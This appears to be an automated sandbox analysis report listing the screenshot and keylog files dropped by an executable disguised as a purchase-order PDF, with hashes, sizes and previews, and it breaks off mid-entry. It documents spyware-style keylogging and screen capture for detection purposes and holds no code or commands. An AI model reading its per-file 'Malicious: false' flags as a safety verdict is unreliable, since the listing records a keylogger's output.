Process:	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE
File Type:	PNG image data, 1280 x 1024, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	50912
Entropy (8bit):	7.598118075367473
Encrypted:	false
SSDEEP:	768:YWOrFqxXMeYAipY4MxfEH8Se7mrQFtSnxwOsmxVZ3dftwdxDFDp:rORaMeYAPxsVmmr4tcqLmTZNf+xpN
MD5:	92954A99F559066DCB7E6D9E66C11123
SHA1:	7B2778AECB39A299374B63355FCE0D5F2D3A641A
SHA-256:	EF3E88E532AAFFE14B5A98CCEB0EEF72D34A77FD7CC1067A2298972C0D6B5A4A
SHA-512:	FC514E555C38BA9876DE6D00BF3105B477EE5723B28B407E489F252122B95A2365F602B069C50B76FB6AD313712A7EF5D847916A2593A6042CA8841A14E04093
Malicious:	false
Preview:	.PNG........IHDR................C....sRGB.........gAMA......a.....pHYs..........o.d...uIDATx^....lYY'.&u.{..7..u..[.U....uK.P.&3E.^I.i.R...R.A...).BE...l..SK..[H'.J.fBf.B6$...^\|k.....3bwg.<g..o.....k.&v...e./..c>}..co.........\|.........\|..O..^>.k....w..Y.S...s.z..%.Y..y..w^....).o..g.r.'.i?.../.O..f>...{^.{....l..~..\|.....<~.x....q.%.1.....\.w...m>...Y....o.......k.Y.c..X.6...h...q..\|.O..c#.6.6....\..._g1q.8..s.M...]..>.'Io.c..c%...d.xM...q......c?_..y...<.f~m.i^.N+.".o\|....(i~~.....e....g0.......\.I.......?[..1..6g.....n.L....Y.E..%...6.{.t.<Bn.).{.....{.&....8z>...._..s....y..Y}....6.f/..-?..{...mW......q.z}................Y\|.;T........>kN.19.....c....Ng..%.A..=_<...,..N...A_...........y.g.v.y..Y..w.....6.....Hol/.}O'.5.~..v.1.....9..z7..#...S.....).E...../~.q..`-.f...~1../..R............`...~./..x..{s.l\|C\....Z.S.........(.l\|_?C9q.......(...W.;(..g,...k..{M=(k.A............Ce9~y..k.Z....crVs...............

C:\Users\user\AppData\Local\Temp\2023-02-21-08-18-55-screenshot.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE
File Type:	PNG image data, 1280 x 1024, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	50912
Entropy (8bit):	7.598118075367473
Encrypted:	false
SSDEEP:	768:YWOrFqxXMeYAipY4MxfEH8Se7mrQFtSnxwOsmxVZ3dftwdxDFDp:rORaMeYAPxsVmmr4tcqLmTZNf+xpN
MD5:	92954A99F559066DCB7E6D9E66C11123
SHA1:	7B2778AECB39A299374B63355FCE0D5F2D3A641A
SHA-256:	EF3E88E532AAFFE14B5A98CCEB0EEF72D34A77FD7CC1067A2298972C0D6B5A4A
SHA-512:	FC514E555C38BA9876DE6D00BF3105B477EE5723B28B407E489F252122B95A2365F602B069C50B76FB6AD313712A7EF5D847916A2593A6042CA8841A14E04093
Malicious:	false
Preview:	.PNG........IHDR................C....sRGB.........gAMA......a.....pHYs..........o.d...uIDATx^....lYY'.&u.{..7..u..[.U....uK.P.&3E.^I.i.R...R.A...).BE...l..SK..[H'.J.fBf.B6$...^\|k.....3bwg.<g..o.....k.&v...e./..c>}..co.........\|.........\|..O..^>.k....w..Y.S...s.z..%.Y..y..w^....).o..g.r.'.i?.../.O..f>...{^.{....l..~..\|.....<~.x....q.%.1.....\.w...m>...Y....o.......k.Y.c..X.6...h...q..\|.O..c#.6.6....\..._g1q.8..s.M...]..>.'Io.c..c%...d.xM...q......c?_..y...<.f~m.i^.N+.".o\|....(i~~.....e....g0.......\.I.......?[..1..6g.....n.L....Y.E..%...6.{.t.<Bn.).{.....{.&....8z>...._..s....y..Y}....6.f/..-?..{...mW......q.z}................Y\|.;T........>kN.19.....c....Ng..%.A..=_<...,..N...A_...........y.g.v.y..Y..w.....6.....Hol/.}O'.5.~..v.1.....9..z7..#...S.....).E...../~.q..`-.f...~1../..R............`...~./..x..{s.l\|C\....Z.S.........(.l\|_?C9q.......(...W.;(..g,...k..{M=(k.A............Ce9~y..k.Z....crVs...............

C:\Users\user\AppData\Local\Temp\2023-02-21-08-18-keylogs.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE
File Type:	ASCII text
Category:	dropped
Size (bytes):	29
Entropy (8bit):	3.702471512219747
Encrypted:	false
SSDEEP:	3:yQTfLfFi:yQTLfFi
MD5:	59D57561C9F029F828CECC9B0F6B0949
SHA1:	4ED4038DF98245763BFFE5124549C6F4142A532B
SHA-256:	5D5CE5A6BF0DFD5794F1CF6878108EA3E170AAAEA7AFC556B97094B4B632EBA9
SHA-512:	C23BB43A2A5116C99412E4D5CE789EB2462C308C28E44A021CFCF752124CFB5A4C192FA732F63464DDA1838013A4A07FF538563696A18DB889B9C30D95CE2F5E
Malicious:	false
Preview:	.[ - 2/21/2023 8:17:44 AM ].

C:\Users\user\AppData\Local\Temp\2023-02-21-08-19-keylogs.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE
File Type:	ASCII text
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.853138399953788
Encrypted:	false
SSDEEP:	3:ymsBFcaYgg3PoFwNaIawfEdeosn:ymUFigg3vahCes
MD5:	6B858A8A84B28519DB3771394DC6D787
SHA1:	F15829E5D5B72A7B45DBBB8C5224D4F0B6190AD3
SHA-256:	0A334E358C6E2190CBC59F32374EFD8DB349790CDD23A8095E26F10011C62963
SHA-512:	B62D05718ADCA346AE11BA86215B507670204F14B3C3B4DACE8277A2CCB3FDC441D821B9D530BC36B6ED39C869FE29B96CD7360A941E6DE6CF16F4715BF5D9E5
Malicious:	false
Preview:	.[ REVISED PURCHASE ORDER.HTML - Google Chrome - 2/21/2023 8:18:55 AM ].

C:\Users\user\AppData\Local\Temp\2023-02-21-08-21-31-screenshot.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE
File Type:	PNG image data, 1280 x 1024, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	50518
Entropy (8bit):	7.5953046759031615
Encrypted:	false
SSDEEP:	768:KCheuH355+C6I2BMPKpYGJ8r0EIL7OtBmjbKz4glFJouAnQX78z86Qu3kiU1rQ0:FesT+VpdJVEIL7OtBm/Oen68zJQoQN
MD5:	BC79BFD72BD4F1AB87904E7AA6A9E987
SHA1:	4116DA803E60C2998B1A23E92850B14507D5EE51
SHA-256:	7CF99E8C380C73A04B05275D1F00D5225A18F9B823AAD5C44E3C48980D850AEB
SHA-512:	172CC4A56ECB2AE38A61B65A08EDDEC0ABFD3DCC8295A24DFDE9F444315B65BD0DE06499E5CB8DEAE6678D8039ADC002CBC0244394B4081BF49FE09D9B5937A0
Malicious:	false
Preview:	.PNG........IHDR................C....sRGB.........gAMA......a.....pHYs..........o.d....IDATx^....mYY'.&u#^..zq#.{.....{_..B...d.e..B..r..W.......l.^.R.......RI.L..MH..O.lH.$.o}s.o.o.5....s...".1..c.1.\.^.Y....../....[..n=].......f..m...s....s.x.\|.w.ywY...r..u.N..2......KV..^..7.q....;.2...........].....z>.6...3..}....!...sn..;....r.e.~..n.g.y....%..s..5.0....\g.....M3......>#..fy.%.}u.,.?...q..../...gF.p.->...\.._g0q.8..s.M...].....Io.#..6GJ>.6d.xM...Y...g..../M.<.I{..3...4....x.....]....;.Q.YyO?...s.?3,r...e.g.;M.l....y.....\t..x..-..>.C...X....!.....-..X..5..t..\|.....s./.K<.........}...ar..........3....-;.......}}...(..........~....*Y...(.........n?.w...\|....).....X..d.6_....,..N....~....?.r........3jM;.M....;H..sv....n.Hol/.}O'{5.~.......cr.....Z.H.p...{? t...,../\|._sg...X....\|0....x@.Z.S....'.S.;..Y.;.....qRo.#e..q5k.k.k.O.pK...H.?.,...~B9v.......(...W../..'....k..{M./+.A...............}.k.J....}rFs......#...d......s.

C:\Users\user\AppData\Local\Temp\2023-02-21-08-22-keylogs.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE
File Type:	ASCII text
Category:	dropped
Size (bytes):	44
Entropy (8bit):	4.152027358743424
Encrypted:	false
SSDEEP:	3:yIeDKAf2Wvv:yI8T2Wvv
MD5:	4E21626FE112682EA934D5055822B1B5
SHA1:	6324E73E858D84AEC1036B7DE95EB0DA14392841
SHA-256:	685BBFACEE65927E4595B3762429B0A82C8BA5CED4CDFEA44A527FCE4A0883FB
SHA-512:	712FBE63F1B42699A4FB28887AB8B8112E29A2A0A5F3C015137CD34F1218D301987689050A26BC2B7389ECA7DCB18FC610DBBB6C527C8F732588EDF6CE412CC1
Malicious:	false
Preview:	.[ Program Manager - 2/21/2023 8:21:31 AM ].

C:\Users\user\AppData\Local\Temp\2023-02-21-08-24-10-screenshot.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE
File Type:	PNG image data, 1280 x 1024, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	50518
Entropy (8bit):	7.5953046759031615
Encrypted:	false
SSDEEP:	768:KCheuH355+C6I2BMPKpYGJ8r0EIL7OtBmjbKz4glFJouAnQX78z86Qu3kiU1rQ0:FesT+VpdJVEIL7OtBm/Oen68zJQoQN
MD5:	BC79BFD72BD4F1AB87904E7AA6A9E987
SHA1:	4116DA803E60C2998B1A23E92850B14507D5EE51
SHA-256:	7CF99E8C380C73A04B05275D1F00D5225A18F9B823AAD5C44E3C48980D850AEB
SHA-512:	172CC4A56ECB2AE38A61B65A08EDDEC0ABFD3DCC8295A24DFDE9F444315B65BD0DE06499E5CB8DEAE6678D8039ADC002CBC0244394B4081BF49FE09D9B5937A0
Malicious:	false
Preview:	.PNG........IHDR................C....sRGB.........gAMA......a.....pHYs..........o.d....IDATx^....mYY'.&u#^..zq#.{.....{_..B...d.e..B..r..W.......l.^.R.......RI.L..MH..O.lH.$.o}s.o.o.5....s...".1..c.1.\.^.Y....../....[..n=].......f..m...s....s.x.\|.w.ywY...r..u.N..2......KV..^..7.q....;.2...........].....z>.6...3..}....!...sn..;....r.e.~..n.g.y....%..s..5.0....\g.....M3......>#..fy.%.}u.,.?...q..../...gF.p.->...\.._g0q.8..s.M...].....Io.#..6GJ>.6d.xM...Y...g..../M.<.I{..3...4....x.....]....;.Q.YyO?...s.?3,r...e.g.;M.l....y.....\t..x..-..>.C...X....!.....-..X..5..t..\|.....s./.K<.........}...ar..........3....-;.......}}...(..........~....*Y...(.........n?.w...\|....).....X..d.6_....,..N....~....?.r........3jM;.M....;H..sv....n.Hol/.}O'{5.~.......cr.....Z.H.p...{? t...,../\|._sg...X....\|0....x@.Z.S....'.S.;..Y.;.....qRo.#e..q5k.k.k.O.pK...H.?.,...~B9v.......(...W../..'....k..{M./+.A...............}.k.J....}rFs......#...d......s.

C:\Users\user\AppData\Local\Temp\2023-02-21-08-24-keylogs.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE
File Type:	ASCII text
Category:	dropped
Size (bytes):	44
Entropy (8bit):	4.260092983792594
Encrypted:	false
SSDEEP:	3:yIeDKAfr3s:yI8Trs
MD5:	11EDD07818D54EF29DB323BD956B445B
SHA1:	D14B8D669FB6FAB466F9D2FDC05ACE3441F0ADDD
SHA-256:	77088F6AFD97F2A7B9347CF763CF66E4F0A381EBFD0C559C7A615D49164445E4
SHA-512:	975750494858FB90AD6476CD2A4B59FAA583C21566276B64D38DEFFBCA1B89C202352A77772619920D805CD8BF7890771D6ECCC934759EAD9D5581CB49550C69
Malicious:	false
Preview:	.[ Program Manager - 2/21/2023 8:24:51 AM ].

C:\Users\user\AppData\Local\Temp\2023-02-21-08-25-21-screenshot.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE
File Type:	PNG image data, 1280 x 1024, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	50912
Entropy (8bit):	7.598118075367473
Encrypted:	false
SSDEEP:	768:YWOrFqxXMeYAipY4MxfEH8Se7mrQFtSnxwOsmxVZ3dftwdxDFDp:rORaMeYAPxsVmmr4tcqLmTZNf+xpN
MD5:	92954A99F559066DCB7E6D9E66C11123
SHA1:	7B2778AECB39A299374B63355FCE0D5F2D3A641A
SHA-256:	EF3E88E532AAFFE14B5A98CCEB0EEF72D34A77FD7CC1067A2298972C0D6B5A4A
SHA-512:	FC514E555C38BA9876DE6D00BF3105B477EE5723B28B407E489F252122B95A2365F602B069C50B76FB6AD313712A7EF5D847916A2593A6042CA8841A14E04093
Malicious:	false
Preview:	.PNG........IHDR................C....sRGB.........gAMA......a.....pHYs..........o.d...uIDATx^....lYY'.&u.{..7..u..[.U....uK.P.&3E.^I.i.R...R.A...).BE...l..SK..[H'.J.fBf.B6$...^\|k.....3bwg.<g..o.....k.&v...e./..c>}..co.........\|.........\|..O..^>.k....w..Y.S...s.z..%.Y..y..w^....).o..g.r.'.i?.../.O..f>...{^.{....l..~..\|.....<~.x....q.%.1.....\.w...m>...Y....o.......k.Y.c..X.6...h...q..\|.O..c#.6.6....\..._g1q.8..s.M...]..>.'Io.c..c%...d.xM...q......c?_..y...<.f~m.i^.N+.".o\|....(i~~.....e....g0.......\.I.......?[..1..6g.....n.L....Y.E..%...6.{.t.<Bn.).{.....{.&....8z>...._..s....y..Y}....6.f/..-?..{...mW......q.z}................Y\|.;T........>kN.19.....c....Ng..%.A..=_<...,..N...A_...........y.g.v.y..Y..w.....6.....Hol/.}O'.5.~..v.1.....9..z7..#...S.....).E...../~.q..`-.f...~1../..R............`...~./..x..{s.l\|C\....Z.S.........(.l\|_?C9q.......(...W.;(..g,...k..{M=(k.A............Ce9~y..k.Z....crVs...............

C:\Users\user\AppData\Local\Temp\2023-02-21-08-26-24-screenshot.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE
File Type:	PNG image data, 1280 x 1024, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	56058
Entropy (8bit):	7.667140591163058
Encrypted:	false
SSDEEP:	768:p6kWRVxhu6AuuBaPQXtPiyjN3/6OzrvIjwE2P2zz0L7Wj8gGI6b0:p6kWBPBuBaPQ40R/6qvIjX50+j8P3g
MD5:	52DC690D96EAB1FA8E3C9CAD821264F7
SHA1:	FF4EBC2C419EC9A4040D1E2FDE9C25677C44FA2F
SHA-256:	8C4E9EA13D38FE8C4EB07E24072EB08C26070EE087F73F03B17FFCF65CC9E493
SHA-512:	C9C9D7A805D45894BA9EFBFE6C2B6C1CD5CB91F7F6927A91EA88307131C264C40AB4C1D3217BBD5E99BE71BB9EAAE040C28FB54BCC462959293C8FA08CBFB74F
Malicious:	false
Preview:	.PNG........IHDR................C....sRGB.........gAMA......a.....pHYs..........o.d...IDATx^..{.\|[Y...r...o..DI.....yrQ.-AT.n..;.Q.....Q!...$(.A1$jDB..xE.c@.d..q...%Q..........;..;...F........Q...\|.9..s.1g].7_.W.t....M...G...9....>....Y.\|.......\|.=.O.....^+..O/.g>.(.v..}....{...\|.j...q.{...\|..)..r..r...z..\|..D>...>kq.K>aq........i.]....M._..L<.u.m.S1..^..d.x.y..;..s.O..<....m..w.....'.\j.s,...]...BsAc.u..'....>!....O..97}._.....q...m.mm...]j.s.Ozc.#..+.Z...5......s..b9r..K.:..i.1.gkM..pY....s..?wGI..;;...,..3..s.OZ..a...z...S.s.c..o...?...C[.]t.O....w..+..7.S.d=...gHg.3..w....sk>.t....._z....9I........y..9~...Yr.?{.......=....-G......9.\|.\|...g.iY...=............>.3\|%w........OZ..#...{:c..%+.\|../..x.;i...^....l...C.........m...m....n..{.........rrR.......s..yM..s..Y+.).........._$........<..)...n.,7...t./..R........Bs.cG.0..7...Q..'..+k?.W.v.f{-.).n....I..(...\...]....YF.pK..W.+........K.h..>SO..=........,~..e......+Y..z...../...w.#...d..

C:\Users\user\AppData\Local\Temp\2023-02-21-08-26-26-screenshot.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE
File Type:	PNG image data, 1280 x 1024, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	55929
Entropy (8bit):	7.67426602244489
Encrypted:	false
SSDEEP:	768:H68JgAJKFnFuQwUAaDNHmYgXsKTQg96Kqcqq2aJIaM4zVpoARoczP7B:HhJgAJOFuQwUAaDNHVQNJiv8zrcczDB
MD5:	3B9C7E4EE05726B6A669D03C21F90443
SHA1:	74D9D3C024A37793D28147FAB88963F9F189A4FD
SHA-256:	A805B4F29A6648894CA6A16DC6462534E95B300BCC9E3FC9DA30EE9E00925EF8
SHA-512:	F544DAB63C45D3A642154603E2DE056F81B2F81786F583F80BC97E18D4A141C90F022DE88F49A4BFF668D2370D3245497F0EB5CA26902EAFD46A6E42D1FBBC43
Malicious:	false
Preview:	.PNG........IHDR................C....sRGB.........gAMA......a.....pHYs..........o.d....IDATx^..y.tkY......?.H...J_..Q..D...2.C'(j+.I..F...P..8`d....i.....LHT.c...(..<...p8._........]{....S..u}.Z..g=.Y.....V...k>...k>....i_<]..w..6..."_.1...K.r......_q...u)...E..W....r....{.....^.a..7.q.....8>..m....v_v.....m.O...\|....c.)k._0.m>....O.._&..:.\|z....4.4..8.....nq...Ko.6M..\|.A...8....K..Yl..9.....i_8..O.\|.<.....O..+.._...5.]......>..7.)R....5Y._.....;..f.S.^..q.I;.....4....Y.?7>c.sw.4.?\.t.G.e.g...6.1..a.knw...).2.................3.z.....R...5....3....y...._.Szcn...a....S>..N....G......q\:..,....>In.w.r.ZY..{^s,^o.r...O.....{.V....k...........*....S..r..?O.1......1R..7.3.N.sP.t.g... .....V9.....g]v.>..m.......m.w..mr...t..w.#.....=.....u.;v...w......nV.G....?...S..d..}..5..i.....9.i}2.........,.?...Q..../.E..wI=7.......Y_.......xE...e....g.....w.E..7D.p9...qQ.<....t..J.=..,].l..._o.s....VY._......Ea...\.\...Qz.:..{L6=.z..l...

C:\Users\user\AppData\Local\Temp\2023-02-21-08-26-keylogs.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE
File Type:	ASCII text
Category:	dropped
Size (bytes):	29
Entropy (8bit):	3.5814447879326115
Encrypted:	false
SSDEEP:	3:yQTflFkoCv:yQTMF
MD5:	744D44AAE34574F05022B0203BE8FCA0
SHA1:	CB92D0B7C366CC47D8C319897614613446D2BD00
SHA-256:	F884DC90C9D084E5177281976AC7D2CFF92FA7232D84B892A19B22DF9C819C36
SHA-512:	24C32D2FBAF25B9959A0B268E18E501FD35C28E601A0205F71E8BB322913D1D2B8B2166980B45C21D49DB5CCF692548CD720C8387258816EB9213740D0CF6C36
Malicious:	false
Preview:	.[ - 2/21/2023 8:26:24 AM ].

C:\Users\user\AppData\Local\Temp\2023-02-21-08-27-keylogs.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE
File Type:	ASCII text
Category:	dropped
Size (bytes):	44
Entropy (8bit):	4.171453562658727
Encrypted:	false
SSDEEP:	3:yIeDKAfnFTi:yI8T1i
MD5:	E22C63A26A1E5303C2214668FA728425
SHA1:	3ADE21B22775DC9D1047DA18ED8A011965EC03F8
SHA-256:	C1C193C75A647CB8A0D1C79F0F05E76B9FAF9DC9BE2C1715C006FC9AD208F359
SHA-512:	8143F6FA1ABC01D30059F5791867C5C18F55DB64146F8D87951406DA1DE9A1412030273837C4494D3D3DC0B830E8066D62B3A08360BF50B01E1FA21D20F08B70
Malicious:	false
Preview:	.[ Program Manager - 2/21/2023 8:26:26 AM ].

C:\Users\user\AppData\Local\Temp\2023-02-21-08-28-23-screenshot.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE
File Type:	PNG image data, 1280 x 1024, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	56058
Entropy (8bit):	7.667140591163058
Encrypted:	false
SSDEEP:	768:p6kWRVxhu6AuuBaPQXtPiyjN3/6OzrvIjwE2P2zz0L7Wj8gGI6b0:p6kWBPBuBaPQ40R/6qvIjX50+j8P3g
MD5:	52DC690D96EAB1FA8E3C9CAD821264F7
SHA1:	FF4EBC2C419EC9A4040D1E2FDE9C25677C44FA2F
SHA-256:	8C4E9EA13D38FE8C4EB07E24072EB08C26070EE087F73F03B17FFCF65CC9E493
SHA-512:	C9C9D7A805D45894BA9EFBFE6C2B6C1CD5CB91F7F6927A91EA88307131C264C40AB4C1D3217BBD5E99BE71BB9EAAE040C28FB54BCC462959293C8FA08CBFB74F
Malicious:	false
Preview:	.PNG........IHDR................C....sRGB.........gAMA......a.....pHYs..........o.d...IDATx^..{.\|[Y...r...o..DI.....yrQ.-AT.n..;.Q.....Q!...$(.A1$jDB..xE.c@.d..q...%Q..........;..;...F........Q...\|.9..s.1g].7_.W.t....M...G...9....>....Y.\|.......\|.=.O.....^+..O/.g>.(.v..}....{...\|.j...q.{...\|..)..r..r...z..\|..D>...>kq.K>aq........i.]....M._..L<.u.m.S1..^..d.x.y..;..s.O..<....m..w.....'.\j.s,...]...BsAc.u..'....>!....O..97}._.....q...m.mm...]j.s.Ozc.#..+.Z...5......s..b9r..K.:..i.1.gkM..pY....s..?wGI..;;...,..3..s.OZ..a...z...S.s.c..o...?...C[.]t.O....w..+..7.S.d=...gHg.3..w....sk>.t....._z....9I........y..9~...Yr.?{.......=....-G......9.\|.\|...g.iY...=............>.3\|%w........OZ..#...{:c..%+.\|../..x.;i...^....l...C.........m...m....n..{.........rrR.......s..yM..s..Y+.).........._$........<..)...n.,7...t./..R........Bs.cG.0..7...Q..'..+k?.W.v.f{-.).n....I..(...\...]....YF.pK..W.+........K.h..>SO..=........,~..e......+Y..z...../...w.#...d..

C:\Users\user\AppData\Local\Temp\2023-02-21-08-29-keylogs.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE
File Type:	ASCII text
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.776613747115913
Encrypted:	false
SSDEEP:	3:ymsBFcaYgg3PoFwNaIawfFChCv:ymUFigg3vahCkhCv
MD5:	3A52DA87850ECFAEFC81E8B59AAC059E
SHA1:	DCBE50E85A5077A8F84140D85BD1E3A0C7F4B1FE
SHA-256:	F53C7F9252F31D1C770BFCBF6344492C60823FA929B8EDAC143C561DBEC6BE57
SHA-512:	231980BE05A5C7AD48B32748C6BBD19E830DEECEECE58B8D03B20B806A7D576F095DCF5C7ED374D4486545A3E34ADDF48B76C8716FCF82DDAD97CE707869C5EE
Malicious:	false
Preview:	.[ REVISED PURCHASE ORDER.HTML - Google Chrome - 2/21/2023 8:28:23 AM ].

C:\Users\user\AppData\Local\Temp\2023-02-21-08-32-46-screenshot.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE
File Type:	PNG image data, 1280 x 1024, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	50947
Entropy (8bit):	7.599993792584502
Encrypted:	false
SSDEEP:	768:tWOrFqxXMeYAipY4MxfEH8Se7mrQFtSnxsiIIvW1SJ7huLf2lhS:UORaMeYAPxsVmmr4tcm9IvW1qkLf2lc
MD5:	DAF4E489FA3E63FBAC5E28E598B1088D
SHA1:	8A12F8CD1D7B758AA02E22A79DE7C5109CCF7A69
SHA-256:	F6FC1348BAE5E3D65AD8C8C430CFC2C4D246AB1D723972A6F54560DF691DBC10
SHA-512:	A6055C26E77D861C1F810A39DA272358A6A17EE138B1EC972F947DCE8AD92CAAE1B3F9C889790DE1C810336B13AF245DE5CE6286ED2D2E9459745C82DC49F85F
Malicious:	false
Preview:	.PNG........IHDR................C....sRGB.........gAMA......a.....pHYs..........o.d...IDATx^....lYY'.&u.{..7..u..[.U....uK.P.&3E.^I.i.R...R.A...).BE...l..SK..[H'.J.fBf.B6$...^\|k.....3bwg.<g..o.....k.&v...e./..c>}..co.........\|.........\|..O..^>.k....w..Y.S...s.z..%.Y..y..w^....).o..g.r.'.i?.../.O..f>...{^.{....l..~..\|.....<~.x....q.%.1.....\.w...m>...Y....o.......k.Y.c..X.6...h...q..\|.O..c#.6.6....\..._g1q.8..s.M...]..>.'Io.c..c%...d.xM...q......c?_..y...<.f~m.i^.N+.".o\|....(i~~.....e....g0.......\.I.......?[..1..6g.....n.L....Y.E..%...6.{.t.<Bn.).{.....{.&....8z>...._..s....y..Y}....6.f/..-?..{...mW......q.z}................Y\|.;T........>kN.19.....c....Ng..%.A..=_<...,..N...A_...........y.g.v.y..Y..w.....6.....Hol/.}O'.5.~..v.1.....9..z7..#...S.....).E...../~.q..`-.f...~1../..R............`...~./..x..{s.l\|C\....Z.S.........(.l\|_?C9q.......(...W.;(..g,...k..{M=(k.A............Ce9~y..k.Z....crVs...............

C:\Users\user\AppData\Local\Temp\2023-02-21-08-33-keylogs.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE
File Type:	ASCII text
Category:	dropped
Size (bytes):	29
Entropy (8bit):	3.6469666682736506
Encrypted:	false
SSDEEP:	3:yQTfQfRqVv:yQTKqF
MD5:	7844C3E3ABD311113288DE697F3096BC
SHA1:	55825170B1A26559EE6056F170E771F71F7957A7
SHA-256:	DAEC941ED03FA7BB2BB8717DD5881A1F1E65EF08ECC745E3C9F420B8A65C074F
SHA-512:	250876F7270E7CA83CE618CFC534AC276C22F70FBB5E5218E25F9764B3FC253E3AB837DE659175FA4AE3CF03DA6AB89170B3D9B5F99FDFA961976852B38899EE
Malicious:	false
Preview:	.[ - 2/21/2023 8:32:46 AM ].

C:\Users\user\AppData\Local\Temp\2023-02-21-08-34-keylogs.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE
File Type:	ASCII text
Category:	dropped
Size (bytes):	44
Entropy (8bit):	4.296675721847976
Encrypted:	false
SSDEEP:	3:yIeDKAfWfihF4v:yI8TFF4v
MD5:	9F6E7AB426BE52A6877190D76B458B72
SHA1:	838C46AEB46C30AEA9489BFB62F87EF6CA4B1F8A
SHA-256:	FBE0824B4BB146431BDE8334E555331EC9D7D4EEB31308FDA2A1D0B4B6ABC4CE
SHA-512:	1F33D2DA52D8C48889204CF6ADF07308FF0534093AFC3E7B6A876D5825BEA82047670F5F7B547B822B965186965B5A08E07D9E36B616C164D82A5E9E8174F7B7
Malicious:	false
Preview:	.[ Program Manager - 2/21/2023 8:34:09 AM ].

C:\Users\user\AppData\Local\Temp\2023-02-21-08-35-keylogs.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE
File Type:	ASCII text
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.853138399953788
Encrypted:	false
SSDEEP:	3:ymsBFcaYgg3PoFwNaIawfXWhsn:ymUFigg3vahCXUs
MD5:	0F66631FA1FF5D5EE6D75B544595A5F4
SHA1:	D3ECF32E12FACD1CE10E002A1CEF951D35806CBA
SHA-256:	1667E5028FCA780E574E7CF25F8182F29CD32CCD6FE2D9B666557D24EEECB51E
SHA-512:	58C7B15EFF1197C216CA10303A618FFFB7927C8C4F5EEF7B52028B741BC530D0EA0ED4C3B551B9D0087645DD8BD1492F44FB4E18D2E0BB2B86180AC1567DACAD
Malicious:	false
Preview:	.[ REVISED PURCHASE ORDER.HTML - Google Chrome - 2/21/2023 8:35:05 AM ].

C:\Users\user\AppData\Local\Temp\2023-02-21-08-36-keylogs.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE
File Type:	ASCII text
Category:	dropped
Size (bytes):	44
Entropy (8bit):	4.296675721847976
Encrypted:	false
SSDEEP:	3:yIeDKAfUfSi:yI8TW
MD5:	B671F0C9C684CC014FBD5D540E0FAE3F
SHA1:	9DADF213A363D6BCB7BDBFE58F37C950E31D2062
SHA-256:	C0A056D01A87E9C88F26F397EB54E25C1E10942E00A2B3A94CF206AB3E1906B9
SHA-512:	B4F281F6CD4B4BD9E09E2873D1533E058DAF1343F222893958B9E33EBCDA93A67C6D2A7C48527944DE19D8702087E51017550C5C781EE6D9D99F411CF22AC630
Malicious:	false
Preview:	.[ Program Manager - 2/21/2023 8:36:58 AM ].

C:\Users\user\AppData\Local\Temp\2023-02-21-08-39-19-screenshot.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE
File Type:	PNG image data, 1280 x 1024, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	51109
Entropy (8bit):	7.611429788228336
Encrypted:	false
